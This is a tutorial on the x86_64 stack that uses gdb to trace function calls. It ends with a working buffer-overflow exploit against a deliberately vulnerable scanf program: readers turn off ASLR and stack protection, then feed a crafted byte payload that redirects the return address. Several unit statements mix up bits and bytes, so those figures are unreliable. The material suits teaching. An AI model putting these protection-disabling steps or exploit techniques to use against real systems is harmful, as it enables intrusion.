Buffer overflow on x86_64 tutorial

On this post I will use gdb to show how the stack works, what happens when you do a function call and how a user can exploit an unchecked buffer to overwrite the stack.

This tutorial assumes you are using a x86_64 linux pc.

Understanding the stack

The stack is a reserved space in memory where the executable stores local variables, function parameters and the return address for the function caller.

The top of the stack moves in decrements. It is like the opposite of an array.

On a typical x86_64 architecture executable, the top of the stack is stored on the rsp register (Stack Pointer) and the base of the stack is stored on the rbp register (Base Pointer).

We also have the rip (Instruction Pointer), a register that contains the address of the current instruction being executed.

Usually a function will only read and write on the stack inside the range from rsp to rbp (remember that rsp is always smaller than rbp because the stack top is decremented).

But this is not necessarilly true. You can compile c code in a way no checks will be done for stack access. In practice there are protections for this both by the compiler and by the OS that we will need to disable for our example to work.

Let's use gcc and gdb to see what goes on when a function is called.

Start by copying this code:

int c(short n){
        return n + 1;
}

int b(){
        short n = 42;
        return c(n);
}

int a(){
        return b();
}

int main(){
        a();
}

Save it as main.c and then just compile it:

gcc main.c -o main

Let's start debugging it with gdb:

gdb main

To run the executable and stop at the first instruction type start:

(gdb) start
Temporary breakpoint 1 at 0x117b
Starting program: /home/carol/dev/backToBasics/understandingTheStack/main 

Temporary breakpoint 1, 0x000055555555517b in main ()

First, let's check the instructions for the main function using dissasemble:

(gdb) disassemble main
Dump of assembler code for function main:
    0x0000555555555173 <+0>:	endbr64 
    0x0000555555555177 <+4>:	push   %rbp
    0x0000555555555178 <+5>:	mov    %rsp,%rbp
=> 0x000055555555517b <+8>:	mov    $0x0,%eax
    0x0000555555555180 <+13>:	call   0x55555555515f <a>
    0x0000555555555185 <+18>:	mov    $0x0,%eax
    0x000055555555518a <+23>:	pop    %rbp
    0x000055555555518b <+24>:	ret    
End of assembler dump.

The instructions are executed left to right, so:

mov    $0x0,%eax

is copying 0 to the register eax.

Gdb conveniently adds an arrow on the instruction currently on the rip register (Instruction Pointer)

We can see that on instruction +4 the value from the rbp (Base Pointer) is being pushed on the stack. This causes the rsp (Stack Pointer) to be incremented.

Then on +5 the current value for the Stack Pointer is being copied to the Base Pointer

All stack operations will be done from the Base Pointer address downwards.

0x0000555555555178 <+5>:	mov    %rsp,%rbp

We can inspect the values inside those two registers using the x command

(gdb) x $rbp
0x7fffffffdf10:	0x00000000
(gdb) x $rsp
0x7fffffffdf10:	0x00000000

There is nothing interesting going on right now here. Both registers have the same value pointing to the same memory address 0x7fffffffdf10.

We can move on to the next instruction:

(gdb) nexti
0x0000555555555180 in main ()
(gdb) disas main 
Dump of assembler code for function main:
    0x0000555555555173 <+0>:	endbr64 
    0x0000555555555177 <+4>:	push   %rbp
    0x0000555555555178 <+5>:	mov    %rsp,%rbp
    0x000055555555517b <+8>:	mov    $0x0,%eax
=> 0x0000555555555180 <+13>:	call   0x55555555515f <a>
    0x0000555555555185 <+18>:	mov    $0x0,%eax
    0x000055555555518a <+23>:	pop    %rbp
    0x000055555555518b <+24>:	ret    
End of assembler dump.

Finnaly things are going to start getting interesting. We are going to call our first function a().

Take note that the instruction right after call on +18 has an address of 0x0000555555555185.

By the way, disas is an alias to disassemble. ni is an alias to nexti and si is an alias to stepi.

The difference between nexti and stepi is that stepi goes inside the call being made.

That's what we want right now so let's step into the next instruction.

(gdb) stepi
0x000055555555515f in a ()
(gdb) disas a
Dump of assembler code for function a:
=> 0x000055555555515f <+0>:	endbr64 
    0x0000555555555163 <+4>:	push   %rbp
    0x0000555555555164 <+5>:	mov    %rsp,%rbp
    0x0000555555555167 <+8>:	mov    $0x0,%eax
    0x000055555555516c <+13>:	call   0x555555555140 <b>
    0x0000555555555171 <+18>:	pop    %rbp
    0x0000555555555172 <+19>:	ret    
End of assembler dump.    

The first thing we see is that we are now inside the instructions for function a

See how on instructions +4 and +5 we do exactly the same thing we did on our main?

That's because, by convention, it is the responsability of the called function to restore the Base Pointer and keep track of the Stack Pointer. So, here the function keeps the Base Pointer for the stack inside the stack itself.

But before the content of the rbp register is pushed on the stack, let's take a look inside the Stack Pointer and the Base Pointer value.

(gdb) x $rbp
0x7fffffffdf10:	0x00000000
(gdb) x $rsp
0x7fffffffdf08:	0x55555185

The rsp value has changed from 0x7fffffffdf10 to 0x7fffffffdf08

That means the stack range from base to stack pointer has size:

0x7fffffffdf10 - 0x7fffffffdf08 = 8 bits

We can use the command x/2x $rsp to print the 2 bytes (8 bits) starting from rsp in hexadecimal.

We start from the rsp since the stack adresses grows in decrements.

(gdb) x/2x $rsp
0x7fffffffdf08:	0x55555185	0x00005555

We are on a system that uses little-endian meaning we need to read the byte from the bigger address first. This gives us:

0x0000555555555185

And if you look back again on the main function that is the address of the instruction right after the call for a().

 
0x0000555555555185 <+18>:	mov    $0x0,%eax

We can conclude then that the call instruction moves the rip to the address of a(), adds the return address to the stack and decrement the rsp so the stack contains the return address.

The fact that the return address is stored inside the stack is what the buffer overflow exploit takes advantage of. We can continue with the execution and come back to this later.

The function being called then updates the Base Pointer position so the return address in the range of the stack the function will manipulate.

We will add a breakpoint right before b() is called, continue the execution and then step into b() and disassemble it:

(gdb) disas a
Dump of assembler code for function a:
=> 0x000055555555515f <+0>:	endbr64 
    0x0000555555555163 <+4>:	push   %rbp
    0x0000555555555164 <+5>:	mov    %rsp,%rbp
    0x0000555555555167 <+8>:	mov    $0x0,%eax
    0x000055555555516c <+13>:	call   0x555555555140 <b>
    0x0000555555555171 <+18>:	pop    %rbp
    0x0000555555555172 <+19>:	ret    
End of assembler dump.
(gdb) break * a+13
Breakpoint 2 at 0x55555555516c
(gdb) continue
Continuing.

Breakpoint 2, 0x000055555555516c in a ()
(gdb) si
0x0000555555555140 in b ()
(gdb) disas b
Dump of assembler code for function b:
=> 0x0000555555555140 <+0>:	endbr64 
    0x0000555555555144 <+4>:	push   %rbp
    0x0000555555555145 <+5>:	mov    %rsp,%rbp
    0x0000555555555148 <+8>:	sub    $0x10,%rsp
    0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)
    0x0000555555555152 <+18>:	movswl -0x2(%rbp),%eax
    0x0000555555555156 <+22>:	mov    %eax,%edi
    0x0000555555555158 <+24>:	call   0x555555555129 <c>
    0x000055555555515d <+29>:	leave  
    0x000055555555515e <+30>:	ret    
End of assembler dump.

There is something more being done with the Stack Pointer now

0x0000555555555148 <+8>:	sub    $0x10,%rsp

At this instruction the Stack Pointer is being moved down 0x10 bits, which converting to decimal is 16 bits or 4 bytes.

This is done because local variables are also stored on the stack, and this instruction is reserving space to be used by our variable:

short n = 42;

A short has a size of 2 bytes but the rsp is moved 4 bytes. This is due the data alignment.

At this instruction:

0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)

The number 42 (0x2a in hexadecimal) is being copied to memory at the Base Pointer minus 2.

Then the value is copied from the stack at -0x2(%rbp) to the eax register

On +22, the value from the eax register is copied to the edi register.

As long as there are registers available, parameters are passed inside the registers. So, for c(short n), the value for n is inside the edi register.

If you want to see what happens when there are lots of parameters, see this example on godbolt.

Next, on instruction +24, we call c. 0x000055555555515d should be the call return address.

(gdb) break * b+24
Breakpoint 3 at 0x555555555158
(gdb) continue
Continuing.

Breakpoint 3, 0x0000555555555158 in b ()
(gdb) si
0x0000555555555129 in c ()
(gdb) disas c
Dump of assembler code for function c:
=> 0x0000555555555129 <+0>:	endbr64 
   0x000055555555512d <+4>:	push   %rbp
   0x000055555555512e <+5>:	mov    %rsp,%rbp
   0x0000555555555131 <+8>:	mov    %edi,%eax
   0x0000555555555133 <+10>:	mov    %ax,-0x4(%rbp)
   0x0000555555555137 <+14>:	movswl -0x4(%rbp),%eax
   0x000055555555513b <+18>:	add    $0x1,%eax
   0x000055555555513e <+21>:	pop    %rbp
   0x000055555555513f <+22>:	ret    
End of assembler dump.

We are now on our last function on the call hierarchy. The first two instructions are the same as before.

Save the original Base Pointer on the stack and copy the Stack Pointer as the new Base Pointer.

Instruction +8 copies the parameter from edi to another register, eax.

We are dealing with a short value (short has 2 bytes) and the register eax has size 16 bits (4 bytes)

The least significant 2 bytes of EAX can be treated as a 16-bit register called AX.

At +10 it copies the value of AX to the stack. At +14 it copies it again to eax and at +18 it adds 1 to eax

The eax register holds the value returned from the function.

Let's put a breakpoint at +21 and look at the stack starting from the rsp until 0x7fffffffdf10, which was the address for the Base Pointer on main()

(gdb) break * c+21
Breakpoint 4 at 0x55555555513e
(gdb) continue
Continuing.

Breakpoint 4, 0x000055555555513e in c ()
(gdb) disas c
Dump of assembler code for function c:
    0x0000555555555129 <+0>:	endbr64 
    0x000055555555512d <+4>:	push   %rbp
    0x000055555555512e <+5>:	mov    %rsp,%rbp
    0x0000555555555131 <+8>:	mov    %edi,%eax
    0x0000555555555133 <+10>:	mov    %ax,-0x4(%rbp)
    0x0000555555555137 <+14>:	movswl -0x4(%rbp),%eax
    0x000055555555513b <+18>:	add    $0x1,%eax
=> 0x000055555555513e <+21>:	pop    %rbp
    0x000055555555513f <+22>:	ret    
End of assembler dump.
(gdb) x/2x $rsp
0x7fffffffded0:	0xffffdef0	0x00007fff

0x7fffffffdf10 − 0x7fffffffded0 = 0x40 , converting to decimal gives 64 bits, divided by 4 results in 16 bytes

(gdb) x/16x $rsp
0x7fffffffded0:	0xffffdef0	0x00007fff	0x5555515d	0x00005555
0x7fffffffdee0:	0x00000000	0x00000000	0x55555190	0x002a5555
0x7fffffffdef0:	0xffffdf00	0x00007fff	0x55555171	0x00005555
0x7fffffffdf00:	0xffffdf10	0x00007fff	0x55555185	0x00005555    

Fixing for Endianness and reading from low to high address, we can try figuring out what we have on the stack:

0x0000555555555185 -> The return address on the main function
0x00007fffffffdf10 -> The Base Pointer address at main()
0x0000555555555171 -> The return address on a()
0x00007fffffffdf00 -> The Base Pointer address at a()
0x002a -> The local variable at b() with value 42. It occupies only 2 bytes 
0x555555555190 -> Whatever was on memory before we stored 42, 
                  we only care about the least significant 2 bytes, 
                  so this is ignored
0x00000000 -> padding, also ignored
0x00000000 -> padding, also ignored
0x000055555555515d -> The return address on b()
0x00007fffffffdef0  -> The Base Pointer address at b()

Now that we got to the last instructions on the call hierarchy, we can run two more instructions.

Instruction +21 should revert the stack Base Pointer to the one stored at the beginning of the function.

pop will copy the value on top of the stack to rbp and increment rsp. Since the stack wasn't used for anything, it contains the value for the original Base Pointer.

Instruction +22 should use the address at the top of the stack as the next insturction on the rip (Instructon Pointer)

ret is equivalent to: pop register; jmp register;

(gdb) disas
Dump of assembler code for function c:
    0x0000555555555129 <+0>:	endbr64 
    0x000055555555512d <+4>:	push   %rbp
    0x000055555555512e <+5>:	mov    %rsp,%rbp
    0x0000555555555131 <+8>:	mov    %edi,%eax
    0x0000555555555133 <+10>:	mov    %ax,-0x4(%rbp)
    0x0000555555555137 <+14>:	movswl -0x4(%rbp),%eax
    0x000055555555513b <+18>:	add    $0x1,%eax
=> 0x000055555555513e <+21>:	pop    %rbp
    0x000055555555513f <+22>:	ret    
End of assembler dump.
(gdb) x/2x $rbp
0x7fffffffded0:	0xffffdef0	0x00007fff
(gdb) x/2x $rsp
0x7fffffffded0:	0xffffdef0	0x00007fff

At this point both Base Pointer and Stack Pointer have the same value.

(gdb) ni
0x000055555555513f in c ()
(gdb) x/2x $rbp
0x7fffffffdef0:	0xffffdf00	0x00007fff
(gdb) x/2x $rsp
0x7fffffffded8:	0x5555515d	0x00005555

When we pop to rbp the value from the memory address inside Stack Pointer is copied to rbp.

In this case rsp was pointing to 0x7fffffffded0 and on this address the value was 0x7fffffffdef0.

Pop also incemented rsp from 0x7fffffffded0 to 0x7fffffffded8. Remember the stack start is bigger than the top so the stack is now smaller. At the top of the stack we have now 0x000055555555515d.

(gdb) ni
0x000055555555515d in b ()
(gdb) x $rbp
0x7fffffffdef0:	0xffffdf00
(gdb) x $rsp
0x7fffffffdee0:	0x00000000
(gdb) disas
Dump of assembler code for function b:
    0x0000555555555140 <+0>:	endbr64 
    0x0000555555555144 <+4>:	push   %rbp
    0x0000555555555145 <+5>:	mov    %rsp,%rbp
    0x0000555555555148 <+8>:	sub    $0x10,%rsp
    0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)
    0x0000555555555152 <+18>:	movswl -0x2(%rbp),%eax
    0x0000555555555156 <+22>:	mov    %eax,%edi
    0x0000555555555158 <+24>:	call   0x555555555129 <c>
=> 0x000055555555515d <+29>:	leave  
    0x000055555555515e <+30>:	ret    
End of assembler dump.

ret on b popped the value from the top of the stack and jumped to the popped address.

The Instruction pointer is now inside b() and is going to call the leave instruction. This is equivalent to:

mov   %rbp, %rsp -> Move the top of the stack to the base
pop   %rbp -> Pop from the stack, this is the original Base Pointer

And looking into our registers:

(gdb) disas
Dump of assembler code for function b:
    0x0000555555555140 <+0>:	endbr64 
    0x0000555555555144 <+4>:	push   %rbp
    0x0000555555555145 <+5>:	mov    %rsp,%rbp
    0x0000555555555148 <+8>:	sub    $0x10,%rsp
    0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)
    0x0000555555555152 <+18>:	movswl -0x2(%rbp),%eax
    0x0000555555555156 <+22>:	mov    %eax,%edi
    0x0000555555555158 <+24>:	call   0x555555555129 <c>
=> 0x000055555555515d <+29>:	leave  
    0x000055555555515e <+30>:	ret    
End of assembler dump.
(gdb) x/2x $rbp
0x7fffffffdef0:	0xffffdf00	0x00007fff
(gdb) x/2x $rsp
0x7fffffffdee0:	0x00000000	0x00000000
(gdb) ni
0x000055555555515e in b ()
(gdb) x/2x $rbp
0x7fffffffdf00:	0xffffdf10	0x00007fff
(gdb) x/2x $rsp
0x7fffffffdef8:	0x55555171	0x00005555   

And then return will do the same as it did on c()

The most important thing to notice was that the stack holds both local variables data and the return adresses from function calls.

With this general idea on how the stack works, what goes inside it and how it is used to jump back and forth instructions we can go on to another example.

Rewriting the stack using Buffer Overflow

For this example to easily work we will need to turn off some OS protections.

Don't worry, we will do it in a way that is only temporary. First we need to force the OS to stop randomizing the virtual address so we can reliably reference an address. If Address Space Layout Randomization (ASLR) is on (default) the adressess will be different on each execution.

sudo -i
echo "0" > /proc/sys/kernel/randomize_va_space
echo This should print 0
cat /proc/sys/kernel/randomize_va_space

We will also need to compile with gcc using the flag -fno-stack-protector

This is the code we are going to exploit:

#include <stdio.h>

void unrelated(){
    printf("This should not be called\n");
}

void enterString(){
    char buffer[2];
    printf("Enter two characters:\n");
    scanf("%s", buffer);
    printf("%s\n", buffer);               
}

int main(){
    enterString();
}

It is not doing anything usefull. It asks for two characters, write them into a buffer array and then print it. There is also a function that is not called. For simplicity sake we will exploit the buffer overflow to call that function. Another thing that can also be done is writing a function to be called on the stack itself. This would require a little more work.

Because on our experiment we will not execute the stack, the flag -z execstack is optional. I will keep it just in case you want to try doing it on your own.

Save it as buff.c and compile it with:

gcc -no-pie -fno-stack-protector -z execstack buff.c -o buff

no-pie

z execstack

Then run it:

./buff 
Enter two characters:
ab
ab

And now we run it with gdb. The value on the ascii table for a is 0x61 (hexadecimal) and for b is 0x62.

gdb buff
(gdb) start
Temporary breakpoint 1 at 0x4011b4
Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff 

Temporary breakpoint 1, 0x00000000004011b4 in main ()
(gdb) disas
Dump of assembler code for function main:
   0x00000000004011ac <+0>:	endbr64 
   0x00000000004011b0 <+4>:	push   %rbp
   0x00000000004011b1 <+5>:	mov    %rsp,%rbp
=> 0x00000000004011b4 <+8>:	mov    $0x0,%eax
   0x00000000004011b9 <+13>:	call   0x40116d 
   0x00000000004011be <+18>:	mov    $0x0,%eax
   0x00000000004011c3 <+23>:	pop    %rbp
   0x00000000004011c4 <+24>:	ret    
End of assembler dump.
(gdb) si
0x00000000004011b9 in main ()
(gdb) si
0x000000000040116d in enterString ()
(gdb) disas
Dump of assembler code for function enterString:
=> 0x000000000040116d <+0>:	endbr64 
   0x0000000000401171 <+4>:	push   %rbp
   0x0000000000401172 <+5>:	mov    %rsp,%rbp
   0x0000000000401175 <+8>:	sub    $0x10,%rsp
   0x0000000000401179 <+12>:	lea    0xe9e(%rip),%rdi        # 0x40201e
   0x0000000000401180 <+19>:	call   0x401050 
   0x0000000000401185 <+24>:	lea    -0x2(%rbp),%rax
   0x0000000000401189 <+28>:	mov    %rax,%rsi
   0x000000000040118c <+31>:	lea    0xea1(%rip),%rdi        # 0x402034
   0x0000000000401193 <+38>:	mov    $0x0,%eax
   0x0000000000401198 <+43>:	call   0x401060 <__isoc99_scanf@plt>
   0x000000000040119d <+48>:	lea    -0x2(%rbp),%rax
   0x00000000004011a1 <+52>:	mov    %rax,%rdi
   0x00000000004011a4 <+55>:	call   0x401050 
   0x00000000004011a9 <+60>:	nop
   0x00000000004011aa <+61>:	leave  
   0x00000000004011ab <+62>:	ret    
End of assembler dump.
(gdb) break * enterString+43
Breakpoint 2 at 0x401198
(gdb) continue
Continuing.
Enter two characters:

Breakpoint 2, 0x0000000000401198 in enterString ()

Before continuing, let's look at the stack. Since we don't really care about the Base Pointer, we print the first 32 bytes from the stack.

(gdb) ni
ab
0x000000000040119d in enterString ()
(gdb) x/32x $rsp
0x7fffffffdeb0:	0x00000000	0x00000000	0x00401070	0x62610000
0x7fffffffdec0:	0xffffde00	0x00007fff	0x004011be	0x00000000
0x7fffffffded0:	0x00000000	0x00000000	0xf7dec565	0x00007fff
0x7fffffffdee0:	0xffffdfc8	0x00007fff	0xf7fc7000	0x00000001
0x7fffffffdef0:	0x004011ac	0x00000000	0xffffe2d9	0x00007fff
0x7fffffffdf00:	0x004011d0	0x00000000	0xc54d1eb6	0x02450e1b
0x7fffffffdf10:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffdf20:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) 

This is stack we see for a well behaved input.

See that inside the stack at 0x7fffffffdec0 we have 0x004011be 0x00000000, the address on main() for the Instruction Pointer to return to.

What happens if we type the whole alphabet as the input?

(gdb) start
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 3 at 0x4011b4
Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff 

Temporary breakpoint 3, 0x00000000004011b4 in main ()
(gdb) break * enterString+43
Note: breakpoint 2 also set at pc 0x401198.
Breakpoint 4 at 0x401198
(gdb) continue
Continuing.
Enter two characters:

Breakpoint 2, 0x0000000000401198 in enterString ()
(gdb) ni
abcdefghijklmnopqrstuvwxyz
0x000000000040119d in enterString ()
(gdb) x/32x $rsp
0x7fffffffdeb0:	0x00000000	0x00000000	0x00401070	0x62610000
0x7fffffffdec0:	0x66656463	0x6a696867	0x6e6d6c6b	0x7271706f
0x7fffffffded0:	0x76757473	0x7a797877	0xf7dec500	0x00007fff
0x7fffffffdee0:	0xffffdfc8	0x00007fff	0xf7fc7000	0x00000001
0x7fffffffdef0:	0x004011ac	0x00000000	0xffffe2d9	0x00007fff
0x7fffffffdf00:	0x004011d0	0x00000000	0x129d1190	0x4120e741
0x7fffffffdf10:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffdf20:	0x00000000	0x00000000	0x00000000	0x00000000

If you look again at 0x7fffffffdec0 you will see 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f where the return address used to be.

And looking at an ASCII table you will find out that 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f is the value for fedc jihg nmlk rqpo

What is happening is that scanf is not doing any check so as long we keep giving an input, scanf will keep writing it to the stack, eventually overriding other values. The input is little-endian.

Now, we know we need to replace nmlk rqpo on our input with the address for our unrelated function and keep the Base Pointer at fedc jihg.

Let's find the address for the unrelated function first:

(gdb) disas unrelated
Dump of assembler code for function unrelated:
    0x0000000000401156 <+0>:	endbr64 
    0x000000000040115a <+4>:	push   %rbp
    0x000000000040115b <+5>:	mov    %rsp,%rbp
    0x000000000040115e <+8>:	lea    0xe9f(%rip),%rdi        # 0x402004
    0x0000000000401165 <+15>:	call   0x401050 
    0x000000000040116a <+20>:	nop
    0x000000000040116b <+21>:	pop    %rbp
    0x000000000040116c <+22>:	ret    
End of assembler dump.    

0x0000000000401156, so rqpo needs to be 0000 and nmlk to be 0x00401156.

And fedc jihg needs to be 0xffffde00 0x00007fff. Meaning:

  • c -> \x00
  • d -> \xde
  • e -> \xff
  • f -> \xff
  • g -> \xff
  • h -> \x7f
  • i -> \x00
  • j -> \x00
  • k -> \x56
  • l -> \x11
  • m -> \x40
  • n -> \x00
  • o -> \x00
  • p -> \x00
  • q -> \x00
  • r -> \x00

We can generate this input to a file and pass it to gdb with python 2.

python -c 'print("ab" + "\x00\xde\xff\xff\xff\x7f\x00\x00\x56\x11\x40\x00\x00\x00\x00\x00")' > rewrite
gdb buff
(gdb) disas enterString
Dump of assembler code for function enterString:
    0x000000000040116d <+0>:	endbr64 
    0x0000000000401171 <+4>:	push   %rbp
    0x0000000000401172 <+5>:	mov    %rsp,%rbp
    0x0000000000401175 <+8>:	sub    $0x10,%rsp
    0x0000000000401179 <+12>:	lea    0xe9e(%rip),%rdi        # 0x40201e
    0x0000000000401180 <+19>:	call   0x401050 
    0x0000000000401185 <+24>:	lea    -0x2(%rbp),%rax
    0x0000000000401189 <+28>:	mov    %rax,%rsi
    0x000000000040118c <+31>:	lea    0xea1(%rip),%rdi        # 0x402034
    0x0000000000401193 <+38>:	mov    $0x0,%eax
    0x0000000000401198 <+43>:	call   0x401060 <__isoc99_scanf@plt>
    0x000000000040119d <+48>:	lea    -0x2(%rbp),%rax
    0x00000000004011a1 <+52>:	mov    %rax,%rdi
    0x00000000004011a4 <+55>:	call   0x401050 
    0x00000000004011a9 <+60>:	nop
    0x00000000004011aa <+61>:	leave  
    0x00000000004011ab <+62>:	ret    
End of assembler dump.
(gdb) break * enterString+48
(gdb) run < rewrite
Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff < rewrite
Enter two characters:

Breakpoint 1, 0x000000000040119d in enterString ()
(gdb) x/32x $rsp
0x7fffffffdeb0:	0x00000000	0x00000000	0x00401070	0x62610000
0x7fffffffdec0:	0xffffde00	0x00007fff	0x00401156	0x00000000
0x7fffffffded0:	0x00000000	0x00000000	0xf7dec565	0x00007fff
0x7fffffffdee0:	0xffffdfc8	0x00007fff	0xf7fc7000	0x00000001
0x7fffffffdef0:	0x004011ac	0x00000000	0xffffe2d9	0x00007fff
0x7fffffffdf00:	0x004011d0	0x00000000	0xa5639444	0xe0ff1476
0x7fffffffdf10:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffdf20:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) continue
Continuing.
ab
This should not be called

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

Success! With our payload 0x7fffffffdec0 contains the return for the unrelated function. When we execute the rest of the code, the message "This should not be called" is printed. This works also by calling the executable directly:

./buff < rewrite                                                                            
Enter two characters:
ab
This should not be called
[1]    167594 segmentation fault (core dumped)  ./buff < rewrite

Links:

This tutorial follows the instructions from: